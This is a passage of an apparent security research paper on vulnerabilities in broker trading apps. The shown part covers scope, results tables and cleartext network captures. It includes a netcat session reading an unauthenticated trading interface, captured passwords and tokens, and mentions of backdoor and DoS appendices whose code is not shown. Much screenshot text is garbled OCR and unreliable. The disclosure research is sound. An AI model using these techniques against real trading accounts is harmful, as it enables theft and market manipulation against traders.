# Abstract

The advent of electronic trading platforms and networks has made exchanging financial securities easier and faster than ever; but this comes with inherent risks. Investing in money markets is no longer limited to the rich. With as little as \$10, anyone can start trading stocks from a mobile phone, desktop application, or website.

This paper demonstrates vulnerabilities that affect numerous traders. Among them are unencrypted authentication, communications, passwords, and trading data; remote DoS that leaves applications useless; trading programming languages that allow DLL imports; insecurely implemented chatbots; weak password policies; hardcoded secrets; and poor session management. In addition, many applications lack countermeasures, such as SSL certificate validation and root detection in mobile apps, privacy mode to mask sensitive values, and anti-exploitation and anti-reversing mitigations.

The risks associated with the trading programming languages implemented in some applications is also covered, including how malicious expert advisors (trading robots) and other plugins could include backdoors or hostile code that would be hard for non-tech savvy traders to spot.

# Contents

Disclaimer	4
Introduction	5
Scope	7
Results	10
Common Vulnerabilities	14
Unencrypted Communications	14
Passwords Stored Unencrypted	24
Trading and Account Information Stored Unencrypted	
Authentication	
Weak Password Policies	
Automatic Logout/Lockout for Idle Sessions	42
Privacy Mode	
Hardcoded Secrets in Code and App Obfuscation	
No Cybersecurity Guidance on Online Trading Threats	
Desktop-specific Vulnerabilities	
I rading Programming Languages with DLL Import Capabilities	
Authentication Token as a URL Parameter to the Browser	
Other Weaknesses	
Mohile-specific Vulnerabilities	
SSI Certificate Validation	61
Root Detection	
Other Weaknesses	63
Web-specific Vulnerabilities	64
Session Still Valid After Logout	64
Session Cookies without Security Attributes	
Lack of HTTP Security Headers	66
Other Weaknesses	67
Statistics	69
Responsible Disclosure	70
Regulators and Rating Organizations	72
Further Research	73
Conclusions and Recommendations	
Side Note	
References	78
Appendix A: Code	
MataTradar 5 Backdoor Disguised as an Johimaku Indicator	
Thinkorewim Order Den un Attack	
	82

Generic Port Stressor
-----------------------

# Disclaimer

Most of the testing was performed using paper money (demo accounts) provided online by the brokerage houses. Only a few accounts were funded with real money for testing purposes. In the case of commercial platforms, the free trials provided by the brokers were used.

Only end-user applications and their direct servers were analyzed. Other backend protocols and related technologies used in exchanges and financial institutions were not tested.

This research is **not** about High Frequency Trading (HFT), blockchain, or how to get rich overnight.

### Introduction

The days of open outcry on trading floors of the NYSE, NASDAQ, and other stock exchanges around the globe are gone. With the advent of electronic trading platforms and networks, the exchange of financial securities now is easier and faster than ever; but this comes with inherent risks.



From the beginning, bad actors have also joined Wall Street's party, developing clever models for fraudulent gains. Their efforts have included everything from fictitious brokerage firms that ended up being Ponzi schemes<sup>[1]</sup> to organized cells performing Pump-and-Dump scams<sup>[2]</sup> (Pump: buy cheap shares and inflate the price through sketchy financials and misleading statements to the marketplace through spam, social media and other technological means; Dump: once the price is high, sell the shares and collect a profit).

When it comes to security, it's worth noting how banking systems are organized when compared to global exchange markets. In banking systems, the information is centralized into one single financial entity; there is one point of failure rather than many, which makes them more vulnerable to cyberattacks.<sup>[3]</sup> In contrast, global exchange markets are distributed; records of who owns what, who sold/bought what, and to whom, are not stored in a single place, but many. Like matter and energy, stocks and other securities cannot be created from the void (e.g. a modified database record within a financial entity). Once issued, they can only be exchanged from one entity to another. That said, **the valuable information as well as the attack surface and vectors in trading environments are slightly different than those in banking systems.** 



Picture taken from http://business.nasdaq.com/list/

Over the years, I've used the desktop and web platforms offered by banks in my country with limited visibility of available trade instruments. Today, accessing global capital markets is as easy as opening a Facebook account through online brokerage firms. This is how I gained access to a wider financial market, including US-listed companies. Anyone can buy and sell a wide range of financial instruments on the secondary market (e.g. stocks, ETFs, etc.), derivatives market (e.g. options, binary options, contracts for difference, etc.), forex markets, or the *avant-garde* cryptocurrency markets.

Most banks with investment solutions and brokerage houses offer trading platforms to operate in the market. These applications allow you to do things including, but not limited to:

- Fund your account via bank transfers or credit card
- Keep track of your available equity and buying power (cash and margin balances)
- Monitor your positions (securities you own) and their performance (profit)
- Monitor instruments or indexes
- Give buy/sell orders
- Create alerts or triggers to be executed when certain thresholds are reached
- Receive real-time news or video broadcasts
- Stay in touch with the trading community through social media and chats

Needless to say, whether you're a speculator, a very active intra-day trader, or simply someone who likes to follow long-term buy-and-hold strategies, every single item on the previous list must be kept secret and only known by and shown to its owner.

Last year, while using my trading app, I asked myself, "with the huge amount of money transacted in the money market, how secure are these platforms?" So, there I was, one

minute later, starting this research to expose cybersecurity and privacy weaknesses in some of these technologies.

### Scope

My analysis **started mid-2017 and concluded in July 2018.** It encompassed the following platforms; **many of them are some of the most used and well-known trading platforms**, and some allow cryptocurrency trading:

- 16 Desktop applications
- 34 Mobile apps
- 30 Websites

These platforms are part of the trading solutions provided by the following **brokers**, which are **used by tens of millions of traders**. Some brokers offer the three types of platforms, however, in some cases only one or two were reviewed due to certain limitations:

- Ally Financial
- AvaTrade
- Binance
- Bitfinex
- Bitso
- Bittrex
- Bloomberg
- Capital One
- Charles Schwab
- Coinbase
- easyMarkets
- eSignal
- ETNA
- eToro
- E-TRADE
- ETX Capital
- ExpertOption
- Fidelity
- Firstrade

- FxPro
- GBMhomebroker
- Grupo BMV
- IC Markets
- Interactive Brokers
- IQ Option
- Kraken
- Markets.com
- Merrill Edge
- MetaTrader
- Money.Net
- NinjaTrader
- OANDA
- Personal Capital
- Plus500
- Poloniex
- Robinhood
- Scottrade
- TD Ameritrade
- TradeStation
- Yahoo! Finance

Devices used:

- Windows 7 (64-bit)
- Windows 10 Home Single (64-bit)
- iOS 10.3.3 (iPhone 6) [not jailbroken]
- **iOS 10.4** (iPhone 6) [not jailbroken]
- Android 7.1.1 (Emulator) [rooted]

The following security controls/features were reviewed, which represent just the tip of the iceberg when compared to more exhaustive lists of security checks per platform. It's very important to mention that some of these tests could not be performed on certain platforms due to certain limitations, such as not being able to create demo or real accounts, not being able to install the Android app in the emulator, apps performing SSL validation, and platforms not implementing the feature to be tested.

Desktop
Two-factor authentication
Encrypted communication
Automatic logout/lockout for idle sessions
Privacy mode
Sensitive data in log files
Secure data storage
Software vulnerabilities
Hardcoded secrets in the application
Anti-exploitation mitigations
Anti-reverse engineering

Mobile
Biometric authentication
Automatic logout/lockout for idle sessions
Privacy mode
Encrypted communication
SSL certificate validation
Session management
Client-side data validation
Sensitive data in logging console
Secure data storage
Root detection
App obfuscation

Hardcoded secrets in code

Web
Two-factor authentication
Weak password policy
Encrypted communication
Automatic logout/lockout for idle sessions
Security attributes in session cookies
Session valid after logout
Sensitive data in URL
Insecure site redirect
Cross-site Scripting (XSS) [GET]
Cross-site Request Forgery (CSRF) [GET]
Clickjacking
Security headers
Infrastructure vulnerabilities
Cybersecurity guidance

# Results

Unfortunately, the results proved to be much worse compared with applications in retail banking. For example, mobile apps for trading are less secure than the personal banking apps reviewed in 2013 and 2015.<sup>[4] [5]</sup>



Apparently, cybersecurity has not been on the radar of the FinTech space in charge of developing trading apps. Security researchers have disregarded these technologies as well, probably because of a lack of understanding of money markets.

While testing I noted a basic correlation: **the biggest brokers are the ones that invest more in security**. Their products are more mature in terms of functionality, usability, and security.

Based on my testing results and opinion, the following trading platforms are **the most secure**:

Broker	Platforms
TD Ameritrade	Web and mobile
Charles Schwab	Web and mobile
Merrill Edge	Web and mobile
Yahoo! Finance	Web and mobile
Robinhood	Web and mobile
MetaTrader 4/5	Desktop and mobile
Thinkorswim	Desktop
Bloomberg	Mobile
TradeStation	Mobile
Capital One	Mobile

Broker	Platforms
FxPro cTrader	Desktop
IC Markets cTrader	Desktop
Ally Financial	Web
Personal Capital	Web
Bitfinex	Web and mobile
Coinbase	Web and mobile
Bitso	Web and mobile

Despite the fact that these platforms implement good security features, they also have areas that should be addressed to improve their security.

On the other hand, the following table list the platform that need to improve in terms of security:

Broker	Platforms	
Interactive Brokers	Desktop, web and mobile	
IQ Option	Desktop, web and mobile	
AvaTrade	Desktop and mobile	
E-TRADE	Web and mobile	
eSignal	Desktop	
Charles Schwab	Desktop	
TradeStation	Desktop	
NinjaTrader	Desktop	
Fidelity	Web	
Firstrade	Web	
Plus500	Web	
Markets.com	Mobile	
7 platforms more we can't name due to responsible disclosure	Desktop, web and mobile	

The following table lists medium- to high-risk vulnerabilities, and summarizes the platforms that have **full or partial problems with encryption**, **Denial of Service**, **authentication**, **and/or session management**:

Broker	Desktop	Mobile	Web
Interactive Brokers	Partially unencrypted communications Third-party signal provider's password stored unencrypted Trading-related data stored unencrypted	Partially unencrypted communications Trading-related data stored unencrypted	Cross-site scripting Lack of some HTTP security headers Password change not implemented
Charles Schwab	Partially unencrypted communications Trading-related data stored unencrypted		Session is valid server- side after logout Lack of some HTTP security headers
TD Ameritrade		Trading-related data stored unencrypted	
Thinkorswim	Remote DoS due to memory exhaustion or through an order pop-up attack Trading-related data stored unencrypted	Trading-related data stored unencrypted	
Robinhood		Trading-related data stored unencrypted	Lack of some HTTP security headers
E-TRADE		Trading-related data stored unencrypted	Session is valid server- side after logout Session cookies without proper attributes Lack of some HTTP security headers
AvaTrade	Partially unencrypted communications	Password stored unencrypted	
Fidelity			Session is valid server- side after logout Session cookies without proper attributes Lack of some HTTP security headers
Firsttrade		Trading-related data stored unencrypted	Weak passwords allowed Session cookies without proper attributes Lack of some HTTP security headers
TradeStation	Partially unencrypted communications	Trading-related data stored unencrypted	

Broker	Desktop	Mobile	Web
IQ Option	Partially unencrypted communications	Password stored unencrypted	Weak passwords allowed Session cookies without proper attributes Lack of some HTTP security headers
eToro		Trading-related data stored unencrypted	
NinjaTrader	Partially unencrypted communications Unencrypted ATI (Automated Trading Interface) Trading-related data stored unencrypted		
eSignal	Unencrypted authentication Remote DoS due to memory exhaustion Trading Plugins passwords in cleartext (not corroborated)		
Plus500			Weak passwords allowed Session cookies without proper attributes Lack of some HTTP security headers
easyMarkets		Trading-related data stored unencrypted	
Markets.com		Password stored unencrypted	Session cookies without proper attributes Lack of some HTTP security headers
MetaTrader			Weak passwords allowed
Other brokers * (see note)	Partially unencrypted communications Trading-related data stored unencrypted	Password stored unencrypted Trading-related data stored unencrypted	Session is valid server- side after logout Weak passwords allowed Session cookies without proper attributes Lack of some HTTP security headers

\*Note: There are other 7 brokers that suffer from some of the aforementioned

**problems**, but details will not be disclosed due to the short period of time since we reported the issues. Logos and technical details that mention the names of such brokerage institutions were removed from the screenshots below presented to prevent any negative impacts to their customers and reputation.

The detailed issues I found are grouped in the following sections.

### **Common Vulnerabilities**

This section describes types of vulnerabilities that are present in **two or three of the platform types: desktop, mobile, and web**. Later in this document, platform-specific flaws are also described.

#### **Unencrypted Communications**

In 9 desktop applications (64%) and in 2 mobile apps (6%), transmitted data unencrypted was observed. Most applications transmit most of the sensitive data in an encrypted way, however, there were some cases where cleartext data could be seen in unencrypted requests.

Among the data seen unencrypted are **passwords**, **balances**, **portfolio**, **personal information and other trading-related data**. In most cases of unencrypted transmissions, **HTTP in plaintext** was seen, and in others, **old proprietary protocols** or other **financial protocols such as FIX**<sup>[6]</sup> were used.

Under certain circumstances, an attacker with access to some part of the network, such as the router in a public WiFi, could see and modify information transmitted to and from the trading application. In the trading context, a malicious actor could intercept and alter values, such as the bid or ask prices of an instrument, and cause a user to buy or sell securities based on misleading information.

In the following application, **AvaTradeAct**, HTTP requests are completely unencrypted and can be seen. It was even possible to see requests to other services, such as Autochartist, and since the login token was embedded in the URL, it was possible to log in successfully:





Buy/sell orders also traversed the unencrypted channel:

Another interesting example was found in **eSignal's Data Manager**. eSignal is a known **signal provider** and integrates with a wide variety of trading platforms. It acts as a source of market data. During the testing, it was noted that Data Manager authenticates over an **unencrypted protocol** on the TCP port 2189, apparently **developed in 1999**.

ollow TCP Stream (tcp.stream eq 9) · wireshark_C16FE63F-107A-42A7-97CA-3886177BDE0F_20180320184253_a0 📼 💷 🔀			
0Winros 465 11/18/15 Z			
<u>             SHdr0300Winros 465 11/18/15</u>			
🔮 eSignal Data Manager	Connectivity		
File Data Options Help	eSignal CM IP Address	cm*.esignal.com	
I-Net:Primary Socket n eSignal Data Manager	Enterprise Server IP Address	cm <sup>*</sup> .esignal.com	
NewsServer: Shutdowr	Failovit Admin Fail Settings     Proxv     Proxv     Proxv	Server Version Static	
Reception Password Available Memor NODATA NONE 4294967295 Ld->279	Username bukowski31337	Services	
6	Password		
	OK	Cancel	

As can be seen, the copyright states it was **developed in 1999 by Data Broadcasting Corporation**. Doing a quick search, we found a document from the SEC that states the company changed its name to Interactive Data Corporation, the owners of eSignal. In other words, it looks like it is an in-house development created almost 20 years ago. We could not corroborate this information, though.

w.

w.sec.gov/Archives/edgar/data/888165/00009501350	2001553/b42118ide10-k_pdf.pdf •••• \$	S 🗘 Q Buscar			
	+ Zoom automático ÷				
The Merger has been accounted for as statements of FT Interactive Data Corporation	a reverse acquisition. Accordingly, th a are the historical financial statements of	e historical financial f the Company.			
On June 15, 2001, after stockholder approval, the Company changed its name from Data Broadcasting Corporation to Interactive Data Corporation. In connection with its name change, the Company changed its trading symbol from DBCC to IDCO. The Company's common stock is traded on The NASDAQ National Market and began trading under the IDCO trading symbol on June 20, 2001.					
In addition, in 2001 the Cor approximately \$43.2 million and in Marill Lunch Biarco Forner 6 14 de 54	IDC Annual Report	s/idco_ar_01.pdf 2001 - + z₀			
Analysis of Financial Condition ar	eSignal	interactive client corr			
Overview	"2001 has been a profitable year for our business	an updated portfolio addition of Reuters U			
The Company operates in two	despite difficult economic conditions and the	News to eSignal's onl			
(1) Institutional service	Throughout the year, we've greatly enhanced the	eSignal Pro"			
(2) Retail Investor serv	eSignal product line with continuous upgrades	As a result of several ture development and			
In the Institutional services s	and the addition of institutional products	efforts, eSignal introd			
brokerage firms, insurance compa provides fixed income portfolio a	to the marketplace. By leveraging strengths within Interactive Data Corporation, we have	al version delivered vi (Application Service F			

The main **eSignal** login screen also authenticates through a cleartext channel:

on de red inalámbri	🚄 Wireshark · Follow TCP Stream (tcp.stream eq 25) · wireshark_C16FE63F-107A-42A7-97CA-38861778DE0F_20180320181944_a05
<u>V</u> iew <u>G</u> o <u>C</u> ap	
•	POST / HTTP/1.1 Content-Type: text/xml
m eq 25	Host: cmfs.esignal.com:4001 eSignal ? X
Time 9	POST: /
3 92 904226 1	User-Agent: QxtXmlRpc esignal cannot establish a connection due to interact connectivity is uses or an invalid
3 93 048884	Content-Length: 403
4 93 048922	Connection: Keep-Alive
5 93 0/9151	Accept-encoung: grip, denate
0 02 420020	Accept-Language. es-nx, en, Oser Name. Dukowski31337
1 03 421997	<pre><?xml version='1.0' encoding='utf-8'?> Password:</pre>
1 95.421007	<methodcall></methodcall>
/ 95.504014	<pre><methodname>GetServiceBits</methodname></pre>
9 95.011022	<pre><pre>con Automatically</pre></pre>
5 93./5918/	<pre><pre><pre>cparam&gt;</pre></pre></pre>
h 43 /5444h	<value></value>
8791: 457 bytes	<pre><string>bukowski31337</string></pre>
et II, Src: Hor	
et Protocol Ver	
ission Control	c paramite c values
ssembled TCP Se	<pre></pre>
50 08 03 36 67	
bh 7h 05 40 00	
c8 56 89 0f al	<pre><pre>cparam&gt;</pre></pre>
f0 be 0b 00 00	<value></value>
6f 6e 3d 27 31	<pre><string>750cbb53605036582c48e905ccabac58</string></pre>
67 3d 27 75 74	
68 6f 64 43 61	
64 4e 61 6d 65	
42 69 74 73 3d	VTTECHOLOGII
3e 0a 20 3c 70	Server: YMI BPC+1 0 7
61 72 61 60 3e	Content-Type: text/xml
6f 77 73 6h 60	Content-length: 165
6e 67 3e 0a 20	
20 20 3c 2f 70	xml version="1.0"?
72 61 6d 3e Øa	<methodresponse><params><param/> /</params></methodresponse>
20 20 20 20 3c	<value><array><data><value>USERNOTFOUND</value></data></array></value>
37 33 37 35 38	

**FIX** is a protocol initiated in 1992 and is one of the industry standard protocols for messaging and trade execution. Currently, it is used by a majority of exchanges and traders. There are guidelines on how to implement it through a secure channel, however, the binary version in cleartext was mostly seen. Tests against the protocol itself were not performed in this analysis.

쭩 Settings - FxPro cTrader  $\times$ GBPUSD, h1 FIX API FxPro You can find specifications and code samples here - FIX API help Trade Like a Pro Copy to Clipboard Price Connection Host name: h1.p.ctrader.cn (Current IP address 119.81.178.126 can be changed without notice) Port: 5211 (SSL), 5201 (Plain text) Password: \*\*\*\*\* (a/c 10180548 password) ± Properties SenderCompID: fxpro.10180548 TargetCompID: cServer SenderSubID: QUOTE Password Email Alerts Copy to Clipboard Trade Connection Host name: h1.p.ctrader.cn (Current IP address 119.81.178.126 can be changed without notice) Port: 5212 (SSL), 5202 (Plain text) Password: \*\*\*\*\* (a/c 10180548 password) SenderCompID: txpro.10180548 TargetCompID: cserver SenderSubID: TRADE General Assets Market Watch Notifications Note: cTrader is available in both Netted and Hedged accounts. You may want

Among the brokers seen using FIX are **TD Ameritrade**, **Interactive Brokers**, and **FxPro**:

There are some cases where **the application encrypts the communication channel**, **except in certain features**. For instance, **Interactive Brokers** desktop and mobile applications encrypt all the communication, but not that used by *iBot*, the robot assistant that receives text or voice commands, which sends the instructions to the server embedded in a **FIX protocol message in cleartext**:

SIMULATE	D TRADING	? OC SIMULATED T		Wireshark · Follow TCP Stream (tcp.stream eq 5) · ib_tws_noSSL (FIX protocol)
There are 17 p Market Value	positions, I will	"My Positions (by show you first 10 s	ME y value, dsc)" sorted by	61601ai8=FIX.4.1.9=000386.35=U.34=000000.43=N. 52=20180419-15:37:02.6040=158.6556=BotRequestMessage100.95=299.96={"query_result {"@type":"tagging","server_version":"v5.2-12-gdce700d3;20180416_152745;2018-04-1 {"confidence":89."intent":"account","account":{"account.field":["PNL"]}},"not_fu 0}],"user_input":"Show_my_PL","result_id":"1524152222780"}}.10=152.8=FIXC0MP.9=2 +joP.P.7.6.\$6
	POSITION	MARKET VALUE	DAILY P&L	#Ax['Pjo.i/!q,~KRAJ.+Z.i.+6.Db[].x6
SQ	31,337	1,573,431	-1,459	k.BUHG)~W7.T%%C 0.qC=?!j'<.[E.f/
PLNT	26,920	1,092,683	-8,277	34=000000.43=N.52=20180419-15:37:03.6040=158.6556=BotRequestMessage101.95=2754.9
ISRG	1,337	621,601	1,561	{ "@type":"NEXT_ACTIONS", "server_version":"v5.2-12-gdce700d3;20180416_152745;2018
FSLR	1,234	93,253	-437	{"type": "WINDOW"}. "regTicker "false}}."command":{"confidence":100."intent":"type
SSDOY	999	62,238	-125	{"action":{"@type":"COMMAND","description":{"title":"More"},"key":{"intent":"met
SNBR	100	3,086	-12	["LAST"]}},"reqTicker":false}},"command".{"confidence":100,"intent":"meta","meta
BRK B	250			{"action":{"@type":"COMMAND","description" {"title":"My Positions (by P&L)"},"ke
ЈРМ	476			100, "intent": "account", "account": {"account.field": ["POSITION"], "sort": {"sort.field": ["POSITION"], "sort.field": ["POSITION"], "position"], "position", "positi
WFC	733			{"@type":"COMMAND","description":{"title":"Dividends (for Portfolio and Watchlis
С	726			<pre>{"filter":{"portfolio":"true","DivExDates":"true","watchlist":"true"}},"reqTicke</pre>
				<pre>100, intent : calendar , calendar :{ Tilter :{ "portfolio": "true", "DivExDates": "t {"@tvpe": "COMMAND"."description":{"tilte": "Mv Positions (bv value. asc)"}."kev":</pre>

Android Emulator - nexus:5554		Bridge -01: C 🚄 Wireshark - Follow TCP Stream (tcp.stream eq 1) - wireshark_4_interfaces_20180514122148_a04844 📼 📼 🔤 🔤 🔤
<ul> <li>▲</li> <li>■ IBot type to trade</li> </ul>	S ■ 12.21 C ■ ⑦	<pre>ber 64 01: 3: 03: 3: 03: 3: 04: 1.9=0052.35=mt.320=106.8082={"a":"c","c":"61","t":"48110.4"}.10=085.8=FIX. 03: 3: 04: 1.9=0028.35=mt.320=106.8082={"ok":1}.10=225.8=FIX.4.1.9=0141.35=JP.320=107.6040=BOT. 03: 0 04: 0 05: 0 0 0 0 0 0 0 0 0 0 0 0 0 0</pre>
	ME "QUOTE OF IBKR"	ny holdings`")],"BN";&"T`':"N","U":1)@220=130 -01: processJson: ("D":("MO":1,"E":[("R":0,"D":1525696441,"MS":"IBKR FYI: Earnings Notific prtfolio will annonace earnings as belowChr ∨> - PLMT declaring Q1 '18 earning on 2018-05 M USD. Accounts: D****0182 (br ∨> Chr ∨>>Please see (a hrefs\"https:\~\kb.clientam.com\ "DNU:"UNcoming.coming.com
IBKR INTERACTIVE BROKERS GRO	-CL A	bldings."), "A":1), "T":"N", "U":1)
78.09 - 1.61 (-2.02%)		LIN-D-0]: not supported badge for launcher: con.google.android.apps.nexuslauncher -0]: FYI: Recived notification:FYINotification Lid=2018050710293516, type=FYIPropertyType 7 07:34;51 CDI 2018, read=false, summary=[IBKR FYI: Earnings Notification], description=[<
Ask x Size	78.11 x 7	announge earnings as below(br /> - PLNI declaring Q1 '18 earning on 2018-05-08 AfterClose. s: D#C#+#0182 (br /> 6br />Please see (a href="https://kb.clientam.com/node/2133">KB2133/-A
Bid x Size	78.07 x 2	25-25-2024-00000000000000000000000000000
Last	78.09	
		Bridge]: sendToNativeApp ]: 8=FIX.4.109=0116035=JP0320=10406040=B0T08082={"T":"IN","P":{"text": <mark>"QUOTE OF IBKR",</mark> "de DF10
BUY 100 SHARES OF IBKR AT MAR	KET PRICE 🛞	-9]: ⟨'P'':⟨⟩,'T'':'IN','U'':1⟩ 9]: 8-778.4.169-8067©35=mt©320=105©8082={''a'':'c'',''c'':''61^8^9^4^62^63^64'',''t'':''48076.5''}©10
05-14 12:21:50.436 2904 292	↓ 1 l aTws : LOUT-	-0]: 35=mt©320=105©8082={"0k": <del>!}©</del> 0]: 8=FlX.4.1©9=0052©35=mt©320=106©8082={"a":"a":"a":"c":"61","t":"48110.4">©10=085©
05-14 12:21:50.503 2904 292 05-14 12:21:50.504 2904 292	1 I aTws : [Java 1 I aTws : [OUT-	Bridge]: sendToNativeApp 0]: 8=FIX.4_1©9=0141©35=JP©320=107©6040=BOT©8082={"T":"IN","P":{"text":"BUY 100 SHARES OF
KR AT MARKET PRICE","device":	("rasterWidth":256	"buttonsPerPage":5>>>010=8330

In the logging console it was possible to see another FIX message with the account balances in plaintext:

D gralloc			e 0x900 imply creation of host color buffer
I aTws I aTws I aTws I aTws	e entre and		Update:Allocation Details 〈 : ID=DU1010182+A+T,A]];accounts Codes:[DU1010182]
I aTws I aTws I aTws [MrktCpTp1		°2 I 1:07	=[] D=DUC00074+A+S,A]=[Account[MGKS Asset Management - All, all +M+S,A], Account[MGKS Asset Management - Core, alloc ID=DUC
I aTws I aTws 2+A+S,A], I aTws	ACCOUNT  SMULATED TRADING DU1010182	Q :	)182+A+S,A]=[]  +T_A]=[Account[All, alloc ID=DU1010182+A+A,A], Account[My  C00074+A+S,A]]  ODEL, ALL]>
I aTws I aTws I aTws I aTws I aTws	All BALANCES MARGINS FUNDS MKT	Ţ VALUE	Update:Allocation Details { : ID=DU1010182+A+T,A]];accounts Codes:[DU1010182]
I aTws I aTws [MrktCpTp1	BALANCES	< > TOTAL USD 2 380 002	=[] D=DUC00074+A+S,A]=[Account[MGKS Asset Management - All, all +M+S,A], Account[MGKS Asset Management - Core, alloc ID=DUC
I aTws I aTws 2+A+S,A],	Net Liquidation Uncertainty	1,343	1182+A+S,A]=[] +T,A]=[Account[All, alloc ID=DU1010182+A+A,A], Account[My C30874+A+S,A]]
l aTws D gralloc D gralloc D gralloc	Previous Day Equity with Loan Value	2,378,659	ODED, ALL) 2 0x900 imply creation of host color buffer 2 0x900 imply creation of host color buffer 0x900 imply creation of host color buffer
I aTws I aTws	Securities Gross Position Value Cash	3,076,395 -695,804	6:atus.shared.a.c520ef654f3 }@8082={"a":"c","c":"%2^78^4^4^84^65^66","t":"50822.6">⊡10
I aTws I aTws I aTws I aTws	MTD Interest Pending Debit Card Charges	-590 0	15°d h a h\$102049da7
I alws I alws I alws I alws s Position ities USD@7 [01=2,404,66 Card Charge ID Interest	Imain 1: AccountListeners [UIT-2]: 8=FIX.4.109-0043 IIN-2-0]: 35-0729-27450 =1,343 07100-Equity with L Value07101-3,076,395 07100 100=Net Liquidation Value0 1 07100=Securities Gross P 107100=Securities Gross P 107100=07121-11S Commodit 07101=0 07100=Pending Debi	count (add):6 335=n 3320=37 46-pc7110-p- 5an Value@7101= -Cash@7101=- 7101=2,380,6 psition Valu ies USD@7100 t Card Charg	::d.b.a.b\$102e42da7 4G1=DU1010182+A+A66040=BG7233=1010=1380 Jancos 07124=Total USDG7100+Net Liquidation Value07101=2.380 U01=2.378,659 G7100=Previous Day Equity with Loan Value07101= 695,804 G7100=MTD InterestG7101=-590 G7100=Pending Debit Car M2 G7100=Equity with Loan Value07101=2.378,659 G7100=Previou ue07101=3.076,395 G7100=CashG7101=-695,804 G7100=MTD Interest 9-Net Liquidation Value07101=0 G7100=Equity with Loan Value07 psG7101=0
I Bloomberg fxSzJE01A=='	f: {"BBCL":"AQIAAAAQeZKoUAF; '}	2X1ytBbPtHFI	:85 <b>QHHHHHHHHBHF5 yQZ3Ff SK92+JCYQuM</b> PaV6myJA2Vz1+p34wrUWHn+os4b0

🕈 Filter 🤉 1 00 Monitor Portfolio Favo US Mover RG 🝷 5 min candles 🗸 P&L + PROFILE Margin + ACCOUNT ... db also -1,178 Unrealized Realized 241.7K -2.1K Net Liq Mainter 1.7M 92.4K 2.3M Excess Liq L: 463.25 CH: -7.78 CH%: -1.65% LONG 1,337 🕏 475.00 554.7K SMA 472.50 POSITIONS My Pos وأسبعه وبريبها الغفل 470.00 My Inves -6,245 994,156 467.50 FSLR -524 1,234 93,167 • 75.50 75.92 1,337 619,365 • 463.25 463.75 ISRG 67 465.00 PLNT 5.047 26,920 1,095,913 • 40.72 40.82 462.50 <sup>L</sup>USD Cash -814,289 🚄 Wireshark · Follow TCP Stream (tcp.stream eq 3) · wireshark\_C16FE63F-107A-42A7-9TCA-38861778DE0F\_20180419102249\_a03928 X 🚺 🖬 CIV. 3 102 client pkt(s), 810 server pkt(s), 161 turn(s).

News related to the positions were also observed in plaintext:

In the following FIX message, the account number and other values are also shown in cleartext:

Android Emulator - nexus:5554	Wireshark - Follow TCP Stream (tcp.stream eq 0) - wireshark_4_interfaces_20180514122835_a07392.pcapng
•	4.1.9=0053.35=JP.320=137.6034=1.6040=BOT.8082={"T":"OFF","V":0}.10=093.8=FIX.4.1.9=0054.3 320=138.8082={"a":"open","c":"6","t":"48530.1"}.10=125.8=FIX.4.1.9=0028.35=mt.320=138.808 4.1.9=0055.35=mt.320=139.8082={"a":"close" "c":"6"."t":"48530.3"}.10=229.8=FIX.4.1.9=0028
▲ <sup>1</sup> 212:31	10=231.8=F1X.4.1.9=0033.35=ac.320= <u>140</u> .0.4900101010182 A.1.10=004.8=F1XCOMP.9=126.X.U.A .0a
📃 Account 🛛 🖓 🧎	ty. y.H.e,C. T.'.Z.p.0
SIMULATED TRABIN DU1010182 All BALANCES MARGINS FUNDS MKT. VALUE	1.9.7p.(.'.>1g0ds
BALANCES <> TOTAL USD	b.qt
Net Liquidation Value 1,058,616	(.a.rDBVI.\T[XVD.::.<5.V.8.j.7.\$1D.=uN.2.iO.lyq./&n <sup>*</sup> POD.sg <sup>*</sup> ?. .S.07& <sup>*</sup> <sup>*</sup>
Net Liquidation Uncertainty 3,537	&6j.C.)y~]CM.RW.T. %.9 K .15Pr.&8=FIX.4.1.9=004
Equity with Loan Value 1,055,078	<pre>////////////////////////////////////</pre>
Previous Day Equity with Loan Value 2,404,661	{.B

Another instance of an application that uses encryption but not for certain channels is this one, **Interactive Brokers** for Android, where a diagnostics log with sensitive data is sent to the server in a scheduled basis through unencrypted HTTP:



A similar platform that sends everything over HTTPS is **IQ Option**, but for some reason, it sends duplicate unencrypted HTTP requests to the server disclosing the session cookie.



Others appear to implement their own binary protocols, such as **Charles Schwab**, however, symbols in watchlists or quoted symbols could be seen in cleartext:



**Interactive Brokers** supports encryption but by default uses an insecure channel; an inexperienced user who does not know the meaning of "*SSL*" (Secure Socket Layer) won't enable it on the login screen and some sensitive data will be sent and received without encryption:



Other platforms offer a TCP server, however, some lack authentication and encryption, such as **NinjaTrader**'s Automated Trading Interface (ATI). After connecting, cleartext data related to the accounts and balances was received:

NIN	IJATRADER 🖪	New 🍟 To	ools 🗋 Wo	orkspaces	🖞 Connectio	ns 🛛 🗘 Helj	p	
	Connection	Display name	Buying power	Cash value	Excess intrada	Excess initial n	Intraday margir	Initi
۲	My NinjaTrader Continuum	Sim101	\$0.00	\$100,000.00	\$100,000.00	\$100,000.00	\$0.00	\$0.
	My NinjaTrader Continuum	Account1	\$0.00	\$100,000.00	\$100,000.00	\$100,000.00	\$0.00	\$0.
۲	My NinjaTrader Continuum	Secret Account	\$0.00	\$233,000.00	\$233,000.00	\$233,000.00	\$0.00	\$0.
	<pre>nitrOus@bukowski:~ nitrOus@bukowski:~\$ nitrOus@bukowski:~\$ Connection to 192.16 20rders 2Strategies] es Sim1012BuyingPowe 2Strategies Account1 020rders Account32St 1izedPnL Account3020 8874b969c9087cedbcb0 9e8aaa0c4c2e8b883f49 ce 8d9b9e8aa0c4c2e8 d2Filled 074893f5ce8 020rders Secret Accoun 233000 ^C nitrOus@bukowski:~\$</pre>	nc 192.168.2 8.241.1 3697 2BuyingPower r Sim10102Ca 2BuyingPowey rategies Acc rderStatys 6 bf302AyyFill 7e098/b1Reje b883f497e098 04r39add9d14 unt2Strategi RealizedPnL	41.1 26973 - 3 pott [tcp) 10CashValue Sim1 [Account1020 0unt32Buying 7fd54f568874 Price 67fd54 cted2Filled] 8b1020rder5t 83da0d0ba022 es]Secret Acco	-v (*] succeede e 1000002Rea L011000001Re CashValue Ac gPower Accou H969c9087ce 1568874b969 8d9b9e8aaa0 catus 074893 AvgFillPrice ccount2Buyin punt02ATITru	d! lizedPnL 020 alizedPnL Si count1100000 nt302CashVal dbcb0bf3Reje c9087cedbcb0 c4c2e8b883f4 f5ce804a39ad c 074893f5ce8 gPower Secre e	rders Sim101 m10102Orders 2RealizedPnI ue Account] cted2Filled bf302OrderSt 97e0988b1027 d9d1483da0d0 04a39add9d14 t Account020	22Strategi 3 Account1 . Account1 . Account1 